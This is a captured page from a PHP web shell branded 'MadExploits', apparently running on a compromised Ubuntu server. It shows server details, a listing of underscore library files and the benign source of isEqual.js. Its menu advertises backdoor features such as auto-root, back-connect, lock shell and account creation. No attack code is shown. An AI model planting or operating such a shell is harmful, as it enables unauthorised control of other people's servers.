Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
amatya /
quiz1 /
node_modules /
underscore /
amd /
[ HOME SHELL ]
Name
Size
Permission
Action
_apply.js
136
B
-rw-rw-rw-
_applyProperty.js
353
B
-rw-rw-rw-
_arrayAccessors.js
240
B
-rw-rw-rw-
_arrayMutators.js
412
B
-rw-rw-rw-
_baseCreate.js
572
B
-rw-rw-rw-
_baseIteratee.js
721
B
-rw-rw-rw-
_binarySearch.js
537
B
-rw-rw-rw-
_bindCb.js
341
B
-rw-rw-rw-
_bindCb4.js
520
B
-rw-rw-rw-
_byValue.js
236
B
-rw-rw-rw-
_cb.js
442
B
-rw-rw-rw-
_chainResult.js
246
B
-rw-rw-rw-
_collectNonEnumProps.js
1.38
KB
-rw-rw-rw-
_createAssigner.js
656
B
-rw-rw-rw-
_createEscaper.js
656
B
-rw-rw-rw-
_createIndexFinder.js
1.01
KB
-rw-rw-rw-
_createPredicateIndexFinder.js
558
B
-rw-rw-rw-
_createReduce.js
1.06
KB
-rw-rw-rw-
_createSizePropertyCheck.js
408
B
-rw-rw-rw-
_deepGet.js
329
B
-rw-rw-rw-
_escapeMap.js
231
B
-rw-rw-rw-
_executeBound.js
613
B
-rw-rw-rw-
_extremum.js
1.57
KB
-rw-rw-rw-
_flatten.js
1016
B
-rw-rw-rw-
_forceNumericMinMax.js
494
B
-rw-rw-rw-
_getByteLength.js
214
B
-rw-rw-rw-
_getLength.js
198
B
-rw-rw-rw-
_greater.js
185
B
-rw-rw-rw-
_group.js
483
B
-rw-rw-rw-
_has.js
237
B
-rw-rw-rw-
_hasObjectTag.js
120
B
-rw-rw-rw-
_isArrayLike.js
454
B
-rw-rw-rw-
_isBufferLike.js
311
B
-rw-rw-rw-
_keyInObj.js
225
B
-rw-rw-rw-
_less.js
179
B
-rw-rw-rw-
_lessEqual.js
191
B
-rw-rw-rw-
_linearSearch.js
1.09
KB
-rw-rw-rw-
_mapReduce.js
28
B
-rw-rw-rw-
_methodFingerprint.js
1.74
KB
-rw-rw-rw-
_optimizeCb.js
886
B
-rw-rw-rw-
_push.js
144
B
-rw-rw-rw-
_pusher.js
246
B
-rw-rw-rw-
_sequence.js
384
B
-rw-rw-rw-
_setup.js
2.59
KB
-rw-rw-rw-
_shallowProperty.js
253
B
-rw-rw-rw-
_slice.js
147
B
-rw-rw-rw-
_strictEqual.js
119
B
-rw-rw-rw-
_stringTagBug.js
626
B
-rw-rw-rw-
_tagTester.js
290
B
-rw-rw-rw-
_toBufferView.js
406
B
-rw-rw-rw-
_toPath.js
261
B
-rw-rw-rw-
_unescapeMap.js
187
B
-rw-rw-rw-
_unmethodize.js
170
B
-rw-rw-rw-
_wrapArrayAccessor.js
502
B
-rw-rw-rw-
_wrapArrayMutator.js
1020
B
-rw-rw-rw-
after.js
266
B
-rw-rw-rw-
allKeys.js
423
B
-rw-rw-rw-
before.js
354
B
-rw-rw-rw-
bind.js
544
B
-rw-rw-rw-
bindAll.js
632
B
-rw-rw-rw-
chain.js
234
B
-rw-rw-rw-
chunk.js
410
B
-rw-rw-rw-
clone.js
286
B
-rw-rw-rw-
compact.js
179
B
-rw-rw-rw-
compose.js
454
B
-rw-rw-rw-
concat.js
150
B
-rw-rw-rw-
constant.js
203
B
-rw-rw-rw-
contains.js
407
B
-rw-rw-rw-
countBy.js
372
B
-rw-rw-rw-
create.js
409
B
-rw-rw-rw-
debounce.js
1.26
KB
-rw-rw-rw-
defaults.js
206
B
-rw-rw-rw-
defer.js
245
B
-rw-rw-rw-
delay.js
340
B
-rw-rw-rw-
difference.js
481
B
-rw-rw-rw-
each.js
746
B
-rw-rw-rw-
escape.js
209
B
-rw-rw-rw-
every.js
543
B
-rw-rw-rw-
extend.js
218
B
-rw-rw-rw-
extendOwn.js
323
B
-rw-rw-rw-
filter.js
375
B
-rw-rw-rw-
find.js
391
B
-rw-rw-rw-
findIndex.js
229
B
-rw-rw-rw-
findKey.js
408
B
-rw-rw-rw-
findLastIndex.js
237
B
-rw-rw-rw-
findWhere.js
291
B
-rw-rw-rw-
first.js
436
B
-rw-rw-rw-
flatten.js
310
B
-rw-rw-rw-
functions.js
308
B
-rw-rw-rw-
get.js
501
B
-rw-rw-rw-
groupBy.js
361
B
-rw-rw-rw-
has.js
552
B
-rw-rw-rw-
identity.js
160
B
-rw-rw-rw-
index-default.js
215
B
-rw-rw-rw-
index.js
7.9
KB
-rw-rw-rw-
indexBy.js
290
B
-rw-rw-rw-
indexOf.js
439
B
-rw-rw-rw-
initial.js
393
B
-rw-rw-rw-
intersection.js
615
B
-rw-rw-rw-
invert.js
344
B
-rw-rw-rw-
invoke.js
852
B
-rw-rw-rw-
isArguments.js
454
B
-rw-rw-rw-
isArray.js
233
B
-rw-rw-rw-
isArrayBuffer.js
127
B
-rw-rw-rw-
isBoolean.js
227
B
-rw-rw-rw-
isDataView.js
529
B
-rw-rw-rw-
isDate.js
106
B
-rw-rw-rw-
isElement.js
159
B
-rw-rw-rw-
isEmpty.js
626
B
-rw-rw-rw-
isEqual.js
5.53
KB
-rw-rw-rw-
isError.js
109
B
-rw-rw-rw-
isFinite.js
241
B
-rw-rw-rw-
isFunction.js
588
B
-rw-rw-rw-
isMap.js
272
B
-rw-rw-rw-
isMatch.js
447
B
-rw-rw-rw-
isNaN.js
195
B
-rw-rw-rw-
isNull.js
136
B
-rw-rw-rw-
isNumber.js
112
B
-rw-rw-rw-
isObject.js
203
B
-rw-rw-rw-
isRegExp.js
112
B
-rw-rw-rw-
isSet.js
272
B
-rw-rw-rw-
isString.js
112
B
-rw-rw-rw-
isSymbol.js
112
B
-rw-rw-rw-
isTypedArray.js
735
B
-rw-rw-rw-
isUndefined.js
147
B
-rw-rw-rw-
isWeakMap.js
288
B
-rw-rw-rw-
isWeakSet.js
115
B
-rw-rw-rw-
iteratee.js
453
B
-rw-rw-rw-
join.js
144
B
-rw-rw-rw-
keys.js
563
B
-rw-rw-rw-
last.js
399
B
-rw-rw-rw-
lastIndexOf.js
308
B
-rw-rw-rw-
map.js
573
B
-rw-rw-rw-
mapObject.js
562
B
-rw-rw-rw-
matcher.js
327
B
-rw-rw-rw-
max.js
976
B
-rw-rw-rw-
memoize.js
459
B
-rw-rw-rw-
min.js
972
B
-rw-rw-rw-
mixin.js
577
B
-rw-rw-rw-
negate.js
218
B
-rw-rw-rw-
noop.js
132
B
-rw-rw-rw-
now.js
190
B
-rw-rw-rw-
object.js
581
B
-rw-rw-rw-
omit.js
678
B
-rw-rw-rw-
once.js
248
B
-rw-rw-rw-
pairs.js
395
B
-rw-rw-rw-
partial.js
1012
B
-rw-rw-rw-
partition.js
326
B
-rw-rw-rw-
pick.js
853
B
-rw-rw-rw-
pluck.js
230
B
-rw-rw-rw-
pop.js
141
B
-rw-rw-rw-
property.js
383
B
-rw-rw-rw-
propertyOf.js
286
B
-rw-rw-rw-
push.js
144
B
-rw-rw-rw-
random.js
268
B
-rw-rw-rw-
range.js
638
B
-rw-rw-rw-
reduce.js
204
B
-rw-rw-rw-
reduceRight.js
189
B
-rw-rw-rw-
reject.js
264
B
-rw-rw-rw-
rest.js
345
B
-rw-rw-rw-
restArguments.js
1.19
KB
-rw-rw-rw-
result.js
786
B
-rw-rw-rw-
reverse.js
153
B
-rw-rw-rw-
sample.js
1011
B
-rw-rw-rw-
shift.js
147
B
-rw-rw-rw-
shuffle.js
157
B
-rw-rw-rw-
size.js
263
B
-rw-rw-rw-
slice.js
147
B
-rw-rw-rw-
some.js
552
B
-rw-rw-rw-
sort.js
144
B
-rw-rw-rw-
sortBy.js
709
B
-rw-rw-rw-
sortedIndex.js
585
B
-rw-rw-rw-
sortedLastIndex.js
410
B
-rw-rw-rw-
splice.js
150
B
-rw-rw-rw-
tap.js
336
B
-rw-rw-rw-
template.js
2.96
KB
-rw-rw-rw-
templateSettings.js
385
B
-rw-rw-rw-
throttle.js
1.52
KB
-rw-rw-rw-
times.js
315
B
-rw-rw-rw-
toArray.js
656
B
-rw-rw-rw-
toPath.js
304
B
-rw-rw-rw-
toString.js
254
B
-rw-rw-rw-
underscore-array-methods.js
980
B
-rw-rw-rw-
underscore.js
841
B
-rw-rw-rw-
unescape.js
223
B
-rw-rw-rw-
union.js
326
B
-rw-rw-rw-
uniq.js
1.22
KB
-rw-rw-rw-
uniqueId.js
283
B
-rw-rw-rw-
unshift.js
153
B
-rw-rw-rw-
unzip.js
462
B
-rw-rw-rw-
value.js
379
B
-rw-rw-rw-
values.js
329
B
-rw-rw-rw-
where.js
289
B
-rw-rw-rw-
without.js
299
B
-rw-rw-rw-
wrap.js
326
B
-rw-rw-rw-
zip.js
227
B
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : isEqual.js
define(['./_setup', './isFunction', './_has', './keys', './underscore', './_getByteLength', './_stringTagBug', './_toBufferView', './isDataView', './isTypedArray'], function (_setup, isFunction, _has, keys, underscore, _getByteLength, _stringTagBug, _toBufferView, isDataView, isTypedArray) { // We use this string twice, so give it a name for minification. var tagDataView = '[object DataView]'; // Internal recursive comparison function for `_.isEqual`. function eq(a, b, aStack, bStack) { // Identical objects are equal. `0 === -0`, but they aren't identical. // See the [Harmony `egal` proposal](https://wiki.ecmascript.org/doku.php?id=harmony:egal). if (a === b) return a !== 0 || 1 / a === 1 / b; // `null` or `undefined` only equal to itself (strict comparison). if (a == null || b == null) return false; // `NaN`s are equivalent, but non-reflexive. if (a !== a) return b !== b; // Exhaust primitive checks var type = typeof a; if (type !== 'function' && type !== 'object' && typeof b != 'object') return false; return deepEq(a, b, aStack, bStack); } // Internal recursive comparison function for `_.isEqual`. function deepEq(a, b, aStack, bStack) { // Unwrap any wrapped objects. if (a instanceof underscore) a = a._wrapped; if (b instanceof underscore) b = b._wrapped; // Compare `[[Class]]` names. var className = _setup.toString.call(a); if (className !== _setup.toString.call(b)) return false; // Work around a bug in IE 10 - Edge 13. if (_stringTagBug.hasStringTagBug && className == '[object Object]' && isDataView(a)) { if (!isDataView(b)) return false; className = tagDataView; } switch (className) { // These types are compared by value. case '[object RegExp]': // RegExps are coerced to strings for comparison (Note: '' + /a/i === '/a/i') case '[object String]': // Primitives and their corresponding object wrappers are equivalent; thus, `"5"` is // equivalent to `new String("5")`. return '' + a === '' + b; case '[object Number]': // `NaN`s are equivalent, but non-reflexive. // Object(NaN) is equivalent to NaN. if (+a !== +a) return +b !== +b; // An `egal` comparison is performed for other numeric values. return +a === 0 ? 1 / +a === 1 / b : +a === +b; case '[object Date]': case '[object Boolean]': // Coerce dates and booleans to numeric primitive values. Dates are compared by their // millisecond representations. Note that invalid dates with millisecond representations // of `NaN` are not equivalent. return +a === +b; case '[object Symbol]': return _setup.SymbolProto.valueOf.call(a) === _setup.SymbolProto.valueOf.call(b); case '[object ArrayBuffer]': case tagDataView: // Coerce to typed array so we can fall through. return deepEq(_toBufferView(a), _toBufferView(b), aStack, bStack); } var areArrays = className === '[object Array]'; if (!areArrays && isTypedArray(a)) { var byteLength = _getByteLength(a); if (byteLength !== _getByteLength(b)) return false; if (a.buffer === b.buffer && a.byteOffset === b.byteOffset) return true; areArrays = true; } if (!areArrays) { if (typeof a != 'object' || typeof b != 'object') return false; // Objects with different constructors are not equivalent, but `Object`s or `Array`s // from different frames are. var aCtor = a.constructor, bCtor = b.constructor; if (aCtor !== bCtor && !(isFunction(aCtor) && aCtor instanceof aCtor && isFunction(bCtor) && bCtor instanceof bCtor) && ('constructor' in a && 'constructor' in b)) { return false; } } // Assume equality for cyclic structures. The algorithm for detecting cyclic // structures is adapted from ES 5.1 section 15.12.3, abstract operation `JO`. // Initializing stack of traversed objects. // It's done here since we only need them for objects and arrays comparison. aStack = aStack || []; bStack = bStack || []; var length = aStack.length; while (length--) { // Linear search. Performance is inversely proportional to the number of // unique nested structures. if (aStack[length] === a) return bStack[length] === b; } // Add the first object to the stack of traversed objects. aStack.push(a); bStack.push(b); // Recursively compare objects and arrays. if (areArrays) { // Compare array lengths to determine if a deep comparison is necessary. length = a.length; if (length !== b.length) return false; // Deep compare the contents, ignoring non-numeric properties. while (length--) { if (!eq(a[length], b[length], aStack, bStack)) return false; } } else { // Deep compare objects. var _keys = keys(a), key; length = _keys.length; // Ensure that both objects contain the same number of properties before comparing deep equality. if (keys(b).length !== length) return false; while (length--) { // Deep compare each member key = _keys[length]; if (!(_has(b, key) && eq(a[key], b[key], aStack, bStack))) return false; } } // Remove the first object from the stack of traversed objects. aStack.pop(); bStack.pop(); return true; } // Perform a deep comparison to check if two objects are equal. function isEqual(a, b) { return eq(a, b); } return isEqual; });
Close